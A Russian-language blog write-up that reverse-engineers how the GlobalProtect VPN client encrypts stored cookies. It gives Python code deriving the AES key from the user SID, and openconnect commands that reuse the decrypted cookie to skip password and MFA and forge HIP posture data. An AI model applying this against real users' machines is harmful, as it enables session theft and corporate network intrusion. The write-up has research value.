Множество компаний используют SASE (облачная сеть с встроенной безопасностью) и функцию Always-on VPN (всегда включенные VPN-сессии). Это упрощает процесс аутентификации пользователей, ведь пользователю не нужно повторно вводить данные для входа. Но такие решения требуют хранения аутентификационных данных, например, куки. Это создает риск для безопасности, поскольку эти данные могут быть украдены и использованы хакерами. В статье расскажу, как один из популярных VPN-клиентов — GlobalProtect от Palo Alto пытается защитить эти данные, и как эту защиту можно обойти.
Еще по теме: Реверс прошивок роутера
Обход защиты VPN-клиента через куки
Согласно документации куки клиента GlobalProtect хранятся в файле:
1 |
%LOCALAPPDATA%\Palo Alto Networks\GlobalProtect\PanPUAC_.dat |
Открыв этот файл в любом hex-редакторе, можно заметить, что файл защищен с помощью DPAPI (Windows API для шифрования с использованием учетных данных пользователя). Это подтверждается заголовком, который начинается с:
1 |
01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 ... |
На этом этапе становится ясно, что куки зашифрованы. Теперь задача — понять, как происходит шифрование и что можно сделать, чтобы получить доступ к данным.
Попытка вызвать функцию CryptUnprotectData возвращает зашифрованные данные с высокой энтропией, что говорит о том, что данные дополнительно шифруются перед сохранением. Это навело на мысль, что VPN-клиент использует внутренний механизм для шифрования данных. Скорее всего, это делается с помощью какого-то зашитого ключа.

Для дальнейшего исследования я решил использовать инструменты статического и динамического анализа. Сначала был запущен дизассемблер IDA, где я начал искать строки, связанные с шифрованием. Это привело к функции UnserializePortalAuthCookie, которая занимается расшифровкой куки. Немного ниже в коде я обнаружил функцию, которая, судя по логам, отвечает за шифрование данных файла.


Здесь также использовалась библиотека OpenSSL. Я увидел вызовы функций EVP_EncryptInit_ex, EVP_DecryptUpdate и EVP_DecryptFinal_ex, что позволило сделать вывод: шифрование и дешифровка ведутся с использованием алгоритма AES.


Далее я установил точки останова на вызовы функций и начал анализировать, какие данные в них передаются. В результате мне удалось извлечь ключ шифрования:
1 |
C4 10 06 BC DB EF 66 83 B2 E7 38 7E A9 48 7A 77 C4 10 06 BC DB EF 66 83 B2 E7 38 7E A9 48 7A 77 |
Этот ключ — 16-байтная строка. Исходя из его длины, я предположил, что используется AES-256-CBC, и это оказалось правильным. Для проверки я воспользовался инструментом Cyberchef и успешно расшифровал файл настроек сайта GlobalProtect.

Теперь надо было разобраться, как этот ключ создается. Оказалось, что ключ не зашит в бинарник. Вместо этого он создается при помощи хеширования данных. В одной из функций я нашел подсказку:
1 2 3 4 5 6 7 8 9 |
void __fastcall z_unknown_1(_DWORD *a1) { a1[1] = 0; *a1 = 0; a1[2] = 1732584193; a1[3] = -271733879; a1[4] = -1732584194; a1[5] = 271733878; } |
Эти значения оказались стандартными для инициализации состояния MD5-хеша. Таким образом, ключ шифрования строится на основе алгоритма MD5.
Далее ключ создается по следующему алгоритму: строка pannetwork хешируется, затем результат комбинируется с уникальным SID (идентификатором системы):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
import hashlib sidbytes = bytearray([0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0xEF, 0xC8, 0x89, 0x7F, 0x22, 0xAF, 0x1E, 0x09, 0x04, 0x2D, 0xC8, 0x51]) pannetwork_str = "pannetwork" md5_pannetwork = hashlib.md5(pannetwork_str.encode()).digest() finalbytes = sidbytes + md5_pannetwork finalmd5 = hashlib.md5(finalbytes).hexdigest() print(finalmd5) c41006bcdbef6683b2e7387ea9487a77 |
Этот код возвращает тот самый 16-байтный ключ, который использовался в алгоритме шифрования.
Получив расшифрованные куки, я смог использовать их для подключения к VPN без необходимости вводить пароль или проходить многофакторную аутентификацию. Для этого подошел клиент OpenConnect, который поддерживает работу с GlobalProtect.
Команда для подключения к VPN с использованием полученной куки:
1 |
$ sudo openconnect --protocol=gp --user="example\\username" --usergroup=portal:portal-userauthcookie --os=win https://vpn.example.com |
1 2 3 4 5 |
--protocol=gp - выбирает протокол GlobalProtect VPN. --user="example\\username" - имя пользователя, где example — домен, а username — имя пользователя. --usergroup=portal - portal-userauthcookie: указывает портал VPN и параметры авторизации. --os=win - эмулирует операционную систему Windows для VPN-сервера. https://vpn.example.com: URL-адрес VPN-сервера. |
Подключение к VPN — это лишь первый шаг. В большинстве корпоративных систем также проверяются различные параметры устройства, например, наличие антивируса или настройка шифрования диска. GlobalProtect использует HIP (HIP (профиль, собирающий информацию о состоянии устройства для проверки соответствия требованиям безопасности сети) для выполнения этих прооверок. Клиент хранит результаты проверок в нескольких зашифрованных файлах, которые можно найти в папке:
1 |
%PROGRAMFILES%\Palo Alto Networks\GlobalProtect |
Эти файлы также шифруются с использованием того же ключа AES, который мы восстановили ранее. После расшифровки этих файлов можно создать нужный профиль для обхода проверок.
Клиент OpenConnect позволяет передавать HIP данные через специальный скрипт:
1 |
$ sudo openconnect --protocol=gp --user="example\\username" --usergroup=portal:portal-userauthcookie --os=win https://vpn.example.com --csd-wrapper ~/tools/custom-hips-profile.sh |
Заключение
В статье показал, как расшифровать куки клиента GlobalProtect, а также использовать их для подключения к VPN. Хотя такая схема не является уязвимостью сама по себе, она демонстрирует, что аутентификационные данные всегда могут стать целью злоумышленников.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Пример реверс инжиниринга с использованием Ghidra
- Перехват трафика Android-приложения в Burp и Frida
- Инструменты для взлома и реверсинга приложений Android